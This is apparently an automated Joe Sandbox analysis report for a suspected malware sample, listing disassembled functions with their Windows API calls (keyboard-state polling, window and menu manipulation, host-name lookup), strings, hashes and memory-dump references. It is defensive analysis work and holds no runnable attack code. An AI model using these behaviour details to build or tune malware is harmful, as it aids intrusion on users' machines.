                                                                                      • String ID: alias PlayMe$close PlayMe$open $play PlayMe$play PlayMe wait$status PlayMe mode
                                                                                      • API String ID: 890592661-1007645807
                                                                                      • Opcode ID: 88b31bb2af831a2e697e2573aefb6e7f8fcc3994bbeee8b9ab4e8eb9fc1a5da1
                                                                                      • Instruction ID: 4816d7a2f10fe1509a41defe3cb16db869a4ce2095a584d3a9576daef85660d8
                                                                                      • Opcode Fuzzy Hash: 88b31bb2af831a2e697e2573aefb6e7f8fcc3994bbeee8b9ab4e8eb9fc1a5da1
                                                                                      • Instruction Fuzzy Hash: D011C8A194016E79D724B762CC4ADFFBF7CFBDAF40F000419B851A61C1EE600A49C6B0
                                                                                      Function 005E778F Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 72sleepwindowtimeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • timeGetTime.WINMM ref: 005E7794
                                                                                        • Part of subcall function 005BDC38: timeGetTime.WINMM(?,7608B400,006158AB), ref: 005BDC3C
                                                                                      • Sleep.KERNEL32(0000000A), ref: 005E77C0
                                                                                      • EnumThreadWindows.USER32(?,Function_00047744,00000000), ref: 005E77E4
                                                                                      • FindWindowExW.USER32(?,00000000,BUTTON,00000000), ref: 005E7806
                                                                                      • SetActiveWindow.USER32 ref: 005E7825
                                                                                      • SendMessageW.USER32(00000000,000000F5,00000000,00000000), ref: 005E7833
                                                                                      • SendMessageW.USER32(00000010,00000000,00000000), ref: 005E7852
                                                                                      • Sleep.KERNEL32(000000FA), ref: 005E785D
                                                                                      • IsWindow.USER32 ref: 005E7869
                                                                                      • EndDialog.USER32(00000000), ref: 005E787A
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$MessageSendSleepTimetime$ActiveDialogEnumFindThreadWindows
                                                                                      • String ID: BUTTON
                                                                                      • API String ID: 1194449130-3405671355
                                                                                      • Opcode ID: 27219f113de5af55b9f3c8de19af6282d49524bb796fc52b33334da40f8fe482
                                                                                      • Instruction ID: 8134d3947ef6dfc0453c0141a06d4943008bc0772462d6a32638ceabd38d03eb
                                                                                      • Opcode Fuzzy Hash: 27219f113de5af55b9f3c8de19af6282d49524bb796fc52b33334da40f8fe482
                                                                                      • Instruction Fuzzy Hash: 742181B1208689AFE7185F21EC8DB263F2BFB48349F102018F54592362DBB19D42CB61
                                                                                      Function 005F02EE Relevance: 18.3, APIs: 12, Instructions: 282comCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005A936C: __swprintf.LIBCMT ref: 005A93AB
                                                                                        • Part of subcall function 005A936C: __itow.LIBCMT ref: 005A93DF
                                                                                      • CoInitialize.OLE32(00000000), ref: 005F034B
                                                                                      • SHGetSpecialFolderLocation.SHELL32(00000000,00000000,?), ref: 005F03DE
                                                                                      • SHGetDesktopFolder.SHELL32(?), ref: 005F03F2
                                                                                      • CoCreateInstance.OLE32(0062DA8C,00000000,00000001,00653CF8,?), ref: 005F043E
                                                                                      • SHCreateShellItem.SHELL32(00000000,00000000,?,00000003), ref: 005F04AD
                                                                                      • CoTaskMemFree.OLE32(?,?), ref: 005F0505
                                                                                      • _memset.LIBCMT ref: 005F0542
                                                                                      • SHBrowseForFolderW.SHELL32(?), ref: 005F057E
                                                                                      • SHGetPathFromIDListW.SHELL32(00000000,?), ref: 005F05A1
                                                                                      • CoTaskMemFree.OLE32(00000000), ref: 005F05A8
                                                                                      • CoTaskMemFree.OLE32(00000000,00000001,00000000), ref: 005F05DF
                                                                                      • CoUninitialize.OLE32(00000001,00000000), ref: 005F05E1
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: FolderFreeTask$Create$BrowseDesktopFromInitializeInstanceItemListLocationPathShellSpecialUninitialize__itow__swprintf_memset
                                                                                      • String ID:
                                                                                      • API String ID: 1246142700-0
                                                                                      • Opcode ID: dadabd235e3b9c97cd0419b888522236c9f9f76d3de86514ae4829635b526841
                                                                                      • Instruction ID: 554ef8ec0a90fcd93d2279d2d6c22be9be6b88ab387ab18b3c212c0ddb29674d
                                                                                      • Opcode Fuzzy Hash: dadabd235e3b9c97cd0419b888522236c9f9f76d3de86514ae4829635b526841
                                                                                      • Instruction Fuzzy Hash: 38B1DA75A00119AFDB14DFA4C888DAEBBB9FF89304B148499F906EB251DB74ED41CF50
                                                                                      Function 005E2E5B Relevance: 18.2, APIs: 12, Instructions: 185keyboardCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetKeyboardState.USER32(?), ref: 005E2ED6
                                                                                      • SetKeyboardState.USER32(?), ref: 005E2F41
                                                                                      • GetAsyncKeyState.USER32(000000A0), ref: 005E2F61
                                                                                      • GetKeyState.USER32(000000A0), ref: 005E2F78
                                                                                      • GetAsyncKeyState.USER32(000000A1), ref: 005E2FA7
                                                                                      • GetKeyState.USER32(000000A1), ref: 005E2FB8
                                                                                      • GetAsyncKeyState.USER32(00000011), ref: 005E2FE4
                                                                                      • GetKeyState.USER32(00000011), ref: 005E2FF2
                                                                                      • GetAsyncKeyState.USER32(00000012), ref: 005E301B
                                                                                      • GetKeyState.USER32(00000012), ref: 005E3029
                                                                                      • GetAsyncKeyState.USER32(0000005B), ref: 005E3052
                                                                                      • GetKeyState.USER32(0000005B), ref: 005E3060
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: State$Async$Keyboard
                                                                                      • String ID:
                                                                                      • API String ID: 541375521-0
                                                                                      • Opcode ID: c1915cc75bcdcaac4fcc52c6bf68a13138fb58892255286c896cfc090eba9b32
                                                                                      • Instruction ID: 1d20cb7a89cc9a0c955aaa6e8b4322d9d97f79b0493b509e00d5677dcf8741a9
                                                                                      • Opcode Fuzzy Hash: c1915cc75bcdcaac4fcc52c6bf68a13138fb58892255286c896cfc090eba9b32
                                                                                      • Instruction Fuzzy Hash: 4451D860A087D429FB3DDBA588197FABFF86F11340F08459DD5C2571C2DA949B8CCB62
                                                                                      Function 005DED02 Relevance: 18.2, APIs: 12, Instructions: 174COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • GetDlgItem.USER32(?,00000001), ref: 005DED1E
                                                                                      • GetWindowRect.USER32(00000000,?), ref: 005DED30
                                                                                      • MoveWindow.USER32(00000001,0000000A,?,00000001,?,00000000), ref: 005DED8E
                                                                                      • GetDlgItem.USER32(?,00000002), ref: 005DED99
                                                                                      • GetWindowRect.USER32(00000000,?), ref: 005DEDAB
                                                                                      • MoveWindow.USER32(00000001,?,00000000,00000001,?,00000000), ref: 005DEE01
                                                                                      • GetDlgItem.USER32(?,000003E9), ref: 005DEE0F
                                                                                      • GetWindowRect.USER32(00000000,?), ref: 005DEE20
                                                                                      • MoveWindow.USER32(00000000,0000000A,00000000,?,?,00000000), ref: 005DEE63
                                                                                      • GetDlgItem.USER32(?,000003EA), ref: 005DEE71
                                                                                      • MoveWindow.USER32(00000000,0000000A,0000000A,?,-00000005,00000000), ref: 005DEE8E
                                                                                      • InvalidateRect.USER32(?,00000000,00000001), ref: 005DEE9B
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$ItemMoveRect$Invalidate
                                                                                      • String ID:
                                                                                      • API String ID: 3096461208-0
                                                                                      • Opcode ID: 462df4386978472f28856faba9e7ff9f21d695ddc55ea7618aeafd4f166c625b
                                                                                      • Instruction ID: 1b6375b00a3be38b1ae7565d9d9fd7e0dd3c697d779a273bb1fa76228441716b
                                                                                      • Opcode Fuzzy Hash: 462df4386978472f28856faba9e7ff9f21d695ddc55ea7618aeafd4f166c625b
                                                                                      • Instruction Fuzzy Hash: 2F510171B00605AFDB28DF6DDD96AAEBBBAFB88701F14812EF519D7290D7709D018B10
                                                                                      Function 005BB73E Relevance: 18.2, APIs: 12, Instructions: 170timeCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,005BB759,?,00000000,?,?,?,?,005BB72B,00000000,?), ref: 005BBA58
                                                                                      • DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,00000000,?,?,?,?,005BB72B), ref: 005BB7F6
                                                                                      • KillTimer.USER32(00000000,?,00000000,?,?,?,?,005BB72B,00000000,?,?,005BB2EF,?,?), ref: 005BB88D
                                                                                      • DestroyAcceleratorTable.USER32(00000000), ref: 0061D8A6
                                                                                      • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005BB72B,00000000,?,?,005BB2EF,?,?), ref: 0061D8D7
                                                                                      • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005BB72B,00000000,?,?,005BB2EF,?,?), ref: 0061D8EE
                                                                                      • ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,005BB72B,00000000,?,?,005BB2EF,?,?), ref: 0061D90A
                                                                                      • DeleteObject.GDI32(00000000), ref: 0061D91C
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
                                                                                      • String ID:
                                                                                      • API String ID: 641708696-0
                                                                                      • Opcode ID: 0d08004b4857dcc2b068500b8613962690b9b2b5e91ccf0a09b1e757ff3566a0
                                                                                      • Instruction ID: ca9e61d374e93b8f7898ba01dba6f3e7da260f46c7b848904e907923f90f9e93
                                                                                      • Opcode Fuzzy Hash: 0d08004b4857dcc2b068500b8613962690b9b2b5e91ccf0a09b1e757ff3566a0
                                                                                      • Instruction Fuzzy Hash: 84618E34500A01DFEB359F18D988BA5BBB6FF96315F18591DE0468AA70CBF0B881DF90
                                                                                      Function 005BB40A Relevance: 18.1, APIs: 12, Instructions: 131COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                        • Part of subcall function 005BB526: GetWindowLongW.USER32(?,000000EB), ref: 005BB537
                                                                                      • GetSysColor.USER32(0000000F), ref: 005BB438
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: ColorLongWindow
                                                                                      • String ID:
                                                                                      • API String ID: 259745315-0
                                                                                      • Opcode ID: 205a6dcc22c10e6a999faaa2462d47a3a43e3b0fc5d9d89f9bae7dcc85a40604
                                                                                      • Instruction ID: e15043c250634c6104d54f7f5b2b69aa59c3f16c262164e38472c4508052fbe5
                                                                                      • Opcode Fuzzy Hash: 205a6dcc22c10e6a999faaa2462d47a3a43e3b0fc5d9d89f9bae7dcc85a40604
                                                                                      • Instruction Fuzzy Hash: 3B418B30400544AFEF246F28DC89BF93B67BB46721F184261F9658E5E6D7B09C82DB21
                                                                                      Function 005E690B Relevance: 18.1, APIs: 12, Instructions: 113COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscat_wcscpy$__wsplitpath$_wcschr
                                                                                      • String ID:
                                                                                      • API String ID: 136442275-0
                                                                                      • Opcode ID: daee151da155f980831dc2415709b65b5da212cd25f4f3778509726bafb55781
                                                                                      • Instruction ID: 334b7610ad3a2b83054801ca1fb1ff9c24bc954a4ad2635ec253f2ca0b12961f
                                                                                      • Opcode Fuzzy Hash: daee151da155f980831dc2415709b65b5da212cd25f4f3778509726bafb55781
                                                                                      • Instruction Fuzzy Hash: D3412E7A88511DAECF65DB90CC45DCEB7BDFB84350F0041A6B699A2091EA30ABE48F54
                                                                                      Function 005ED76A Relevance: 17.7, APIs: 3, Strings: 7, Instructions: 180COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • CharLowerBuffW.USER32(0063DC00,0063DC00,0063DC00), ref: 005ED7CE
                                                                                      • GetDriveTypeW.KERNEL32(?,00653A70,00000061), ref: 005ED898
                                                                                      • _wcscpy.LIBCMT ref: 005ED8C2
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: BuffCharDriveLowerType_wcscpy
                                                                                      • String ID: all$cdrom$fixed$network$ramdisk$removable$unknown
                                                                                      • API String ID: 2820617543-1000479233
                                                                                      • Opcode ID: f2e2525a1ccc83c61dd85e7e25afc346b567142e427c43028ce5f9d173786fa5
                                                                                      • Instruction ID: 7f9279f6628ecf5e852c5cb58c868262fc61f526c250474688db2c8ae3512a68
                                                                                      • Opcode Fuzzy Hash: f2e2525a1ccc83c61dd85e7e25afc346b567142e427c43028ce5f9d173786fa5
                                                                                      • Instruction Fuzzy Hash: A851C031108245AFC704EF15C896AAEBFB5FF84354F10882DF9DA572A2DB31ED09CA52
                                                                                      Function 005A936C Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 145COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • __swprintf.LIBCMT ref: 005A93AB
                                                                                      • __itow.LIBCMT ref: 005A93DF
                                                                                        • Part of subcall function 005C1557: _xtow@16.LIBCMT ref: 005C1578
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: __itow__swprintf_xtow@16
                                                                                      • String ID: %.15g$0x%p$False$True
                                                                                      • API String ID: 1502193981-2263619337
                                                                                      • Opcode ID: cd47a36aabc1ebc05998f087a33acf43769b0209ec3b4bf55a0eae9c9b5139d1
                                                                                      • Instruction ID: df755490033fc378c25413a870e68bd256641fc610c684bdc7154111c4b03d1a
                                                                                      • Opcode Fuzzy Hash: cd47a36aabc1ebc05998f087a33acf43769b0209ec3b4bf55a0eae9c9b5139d1
                                                                                      • Instruction Fuzzy Hash: 3D41C331504215EFDB24DB78D945EEA7BF9FB85300F24486EE54AD7281EE329941CB50
                                                                                      Function 0060A1B6 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 101windowCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • MoveWindow.USER32(?,?,?,000000FF,000000FF,00000000,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?), ref: 0060A259
                                                                                      • CreateCompatibleDC.GDI32(00000000), ref: 0060A260
                                                                                      • SendMessageW.USER32(?,00000173,00000000,00000000), ref: 0060A273
                                                                                      • SelectObject.GDI32(00000000,00000000), ref: 0060A27B
                                                                                      • GetPixel.GDI32(00000000,00000000,00000000), ref: 0060A286
                                                                                      • DeleteDC.GDI32(00000000), ref: 0060A28F
                                                                                      • GetWindowLongW.USER32(?,000000EC), ref: 0060A299
                                                                                      • SetLayeredWindowAttributes.USER32(?,00000000,00000000,00000001), ref: 0060A2AD
                                                                                      • DestroyWindow.USER32(?,?,?,000000FF,000000FF,?,?,static,00000000,00000000,?,?,00000000,00000000,?,?), ref: 0060A2B9
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Window$AttributesCompatibleCreateDeleteDestroyLayeredLongMessageMoveObjectPixelSelectSend
                                                                                      • String ID: static
                                                                                      • API String ID: 2559357485-2160076837
                                                                                      • Opcode ID: db7a1552aa4556c854eb71f075e35ec04943b4e48bad169ddc21631e36579196
                                                                                      • Instruction ID: 286a49990764612b63b612add4d99ab05574abc2abfd68bf6e787e7aeec338ef
                                                                                      • Opcode Fuzzy Hash: db7a1552aa4556c854eb71f075e35ec04943b4e48bad169ddc21631e36579196
                                                                                      • Instruction Fuzzy Hash: 9B318C31140615ABDF259FA4DC49FEB3B6AFF19360F140224FA19A61E0C732D822DBA4
                                                                                      Function 005E6F02 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 72networkCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      Strings
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: _wcscpy$CleanupStartup_strcatgethostbynamegethostnameinet_ntoa
                                                                                      • String ID: 0.0.0.0
                                                                                      • API String ID: 2620052-3771769585
                                                                                      • Opcode ID: 1d47232f7569c923a6d7020810ce5969b3a397644219d990dc7f80626266f366
                                                                                      • Instruction ID: 89ab632bde9262d6025ae05dabaa936c5d1424f1ef15dc296d4d2f81f64fb9b6
                                                                                      • Opcode Fuzzy Hash: 1d47232f7569c923a6d7020810ce5969b3a397644219d990dc7f80626266f366
                                                                                      • Instruction Fuzzy Hash: 7B113A71504115AFCB286B71AC0EEDA7FACFF50791F000069F49596081EF74EE818B50
                                                                                      Function 005C500E Relevance: 16.8, APIs: 11, Instructions: 257COMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005C5047
                                                                                        • Part of subcall function 005C7C0E: __getptd_noexit.LIBCMT ref: 005C7C0E
                                                                                      • __gmtime64_s.LIBCMT ref: 005C50E0
                                                                                      • __gmtime64_s.LIBCMT ref: 005C5116
                                                                                      • __gmtime64_s.LIBCMT ref: 005C5133
                                                                                      • __allrem.LIBCMT ref: 005C5189
                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005C51A5
                                                                                      • __allrem.LIBCMT ref: 005C51BC
                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005C51DA
                                                                                      • __allrem.LIBCMT ref: 005C51F1
                                                                                      • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005C520F
                                                                                      • __invoke_watson.LIBCMT ref: 005C5280
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348543254.0000000000664000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      Joe Sandbox IDA Plugin
                                                                                      • Snapshot File: hcaresult_0_2_5a0000_lgkWBwqY15.jbxd
                                                                                      Similarity
                                                                                      • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@__gmtime64_s$__getptd_noexit__invoke_watson_memset
                                                                                      • String ID:
                                                                                      • API String ID: 384356119-0
                                                                                      • Opcode ID: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                                                      • Instruction ID: 7e4e44e7f4b4c566abdc8199deb2dea2c8f070540390a951b924d80de421caff
                                                                                      • Opcode Fuzzy Hash: d5e017027a87c5018ad803d53256558374d4b82fb585307daa6d96de3ac92c4c
                                                                                      • Instruction Fuzzy Hash: FA71B475A01F17AFD7149AF9CC49F5A7BA8BF50364F14412EE910E6281F770E9808BD0
                                                                                      Function 005E4DDD Relevance: 16.7, APIs: 11, Instructions: 189windowsleepCOMMON
                                                                                      Download Yara Rule
                                                                                      APIs
                                                                                      • _memset.LIBCMT ref: 005E4DF8
                                                                                      • GetMenuItemInfoW.USER32(00661708,000000FF,00000000,00000030), ref: 005E4E59
                                                                                      • SetMenuItemInfoW.USER32(00661708,00000004,00000000,00000030), ref: 005E4E8F
                                                                                      • Sleep.KERNEL32(000001F4), ref: 005E4EA1
                                                                                      • GetMenuItemCount.USER32(?), ref: 005E4EE5
                                                                                      • GetMenuItemID.USER32(?,00000000), ref: 005E4F01
                                                                                      • GetMenuItemID.USER32(?,-00000001), ref: 005E4F2B
                                                                                      • GetMenuItemID.USER32(?,?), ref: 005E4F70
                                                                                      • CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 005E4FB6
                                                                                      • GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005E4FCA
                                                                                      • SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 005E4FEB
                                                                                      Memory Dump Source
                                                                                      • Source File: 00000000.00000002.1348424061.00000000005A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 005A0000, based on PE: true
                                                                                      • Associated: 00000000.00000002.1348406527.00000000005A0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000062D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348476778.000000000064E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                      • Associated: 00000000.00000002.1348524558.000000000065A000.00000004.00000001.01000000.00000003.sdmpDownload File
